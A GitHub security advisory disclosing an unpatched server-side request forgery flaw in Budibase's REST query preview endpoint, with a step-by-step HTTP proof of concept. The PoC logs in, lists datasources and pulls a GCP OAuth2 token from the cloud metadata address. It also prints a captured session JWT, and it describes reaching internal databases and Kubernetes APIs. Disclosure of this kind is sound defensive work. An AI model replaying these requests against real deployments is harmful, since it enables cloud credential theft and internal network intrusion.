GHSA-4647-wpjq-hh7f Budibase Unrestricted Server-Side Request Forgery (SSRF) via REST Datasource Query Preview

• npm budibase: <= 3.30.6 (no fix yet)

Summary The REST datasource query preview endpoint (`POST /api/queries/preview`) makes server-side HTTP requests to any URL supplied by the user in `fields.path` with no validation. An authenticated admin can reach internal services that are not exposed to the internet — including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with `cloud-platform` scope (full GCP access). On any deployment it enables full internal network enumeration. Details The vulnerable handler is in `packages/server/src/api/controllers/query.ts` (`preview()`). It reads `fields.path` from the request body and passes it directly to the REST HTTP client without any IP or hostname validation: ``` fields.path → RestClient.read({ path }) → node-fetch(path) ``` No blocklist exists for: • Loopback (`127.0.0.1`, `::1`) • RFC 1918 ranges (`10.x.x.x`, `172.16-31.x.x`, `192.168.x.x`) • Link-local / cloud metadata (`169.254.x.x`) • Internal Kubernetes DNS (`.svc.cluster.local`) The `datasourceId` field must reference an existing REST-type datasource. This is trivially obtained via `GET /api/datasources` (lists all datasources with their IDs) or created on-demand with a single POST — no base URL is required and `fields.path` overrides it entirely. PoC Step 1 — Get session token ```http POST /api/global/auth/default/login HTTP/1.1 Host: budibase.dev.com Content-Type: application/json {"username": "[email protected]", "password": "password"} ``` Response sets `Cookie: budibase:auth=`. Step 2 — Get a REST datasourceId ```http GET /api/datasources HTTP/1.1 Host: budibase.dev.com Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b ``` Pick any `_id` where `"source": "REST"`. Captured from this engagement: • Token: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs` • App ID: `app_dev_3dbfeba315fd4baa8fb6202fe517e93b` • REST datasource ID: `datasource_49d5a1ed1c6149e48c4de0923e5b20c5` Step 3 — Send SSRF request Change `fields.path` to any internal URL. Examples below. 3a. Cloud metadata — GCP OAuth2 token ```http POST /api/queries/preview HTTP/1.1 Host: budibase.dev.com Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b Content-Type: application/json { "datasourceId": "datasource_49d5a1ed1c6149e48c4de0923e5b20c5", "name": "ssrf", "parameters": [], "transformer": "return data", "queryVerb": "read", "fields": { "path": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token", "headers": {"Metadata-Flavor": "Google"}, "queryString": "", "requestBody": "" }, "schema": {} } ``` Response: ```json {"access_token": "ya29.d.c0AZ4bNpYDUK...", "expires_in": 3598, "token_type": "Bearer"} ``` Impact _What kind of vulnerability is it? Who is impacted?_ Any authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement: • Cloud credential theft — GCP OAuth2 token with `cloud-platform` scope stolen from `169.254.169.254`. Token verified valid against GCP Projects API, granting full access to all GCP services in the project. • Internal database access — CouchDB reached at `budibase-svc-couchdb:5984` with extracted credentials, exposing all application data. • Internal service enumeration — MinIO (`minio-service:9000`), Redis, and internal worker APIs (`127.0.0.1:4002`) all reachable. • Kubernetes cluster access — K8s API server reachable at `kubernetes.default.svc` using the pod's mounted service account token. The vulnerability affects all deployment environments (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance. Detected by: Abdulrahman Albatel Abdullah Alrasheed